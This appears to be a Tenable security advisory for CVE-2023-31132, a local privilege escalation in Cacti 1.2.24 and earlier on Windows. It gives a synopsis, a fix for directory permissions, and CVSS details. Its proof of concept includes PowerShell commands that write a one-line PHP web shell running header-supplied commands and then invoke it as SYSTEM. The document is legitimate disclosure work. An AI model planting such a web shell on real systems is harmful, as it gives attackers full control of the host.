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Cacti Privilege Escalation

High
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Synopsis

Cacti 1.2.24 and prior allows a low-privileged OS user with access to a Windows host where Cacti is installed to create arbitrary PHP files in a web document directory. The user can then execute the PHP files under the security context of SYSTEM.

Proof of Concept
// After login/RDP as user1

PS C:\Users\user1> echo '<?php system($_SERVER[''HTTP_X_CMD'']);?>' | Out-File -Encoding utf8 C:\Apache24\htdocs\cacti\webshell.php
PS C:\Users\user1>
PS C:\Users\user1> Invoke-WebRequest -UseBasicParsing -Headers @{'x-cmd'='whoami'} -Uri http://localhost/cacti/webshell.php | select -ExpandProperty  Content
nt authority\system

Solution

Adjust directory permissions for existing installs or re-install using updated installers.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2023-31132
Tenable Advisory ID: TRA-2023-34
CVSSv3 Base / Temporal Score:
8.4 / 7.6
CVSSv3 Vector:
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Products:
Cacti v1.2.24 and prior
Risk Factor:
High

Advisory Timeline

October 18, 2023 - Initial release
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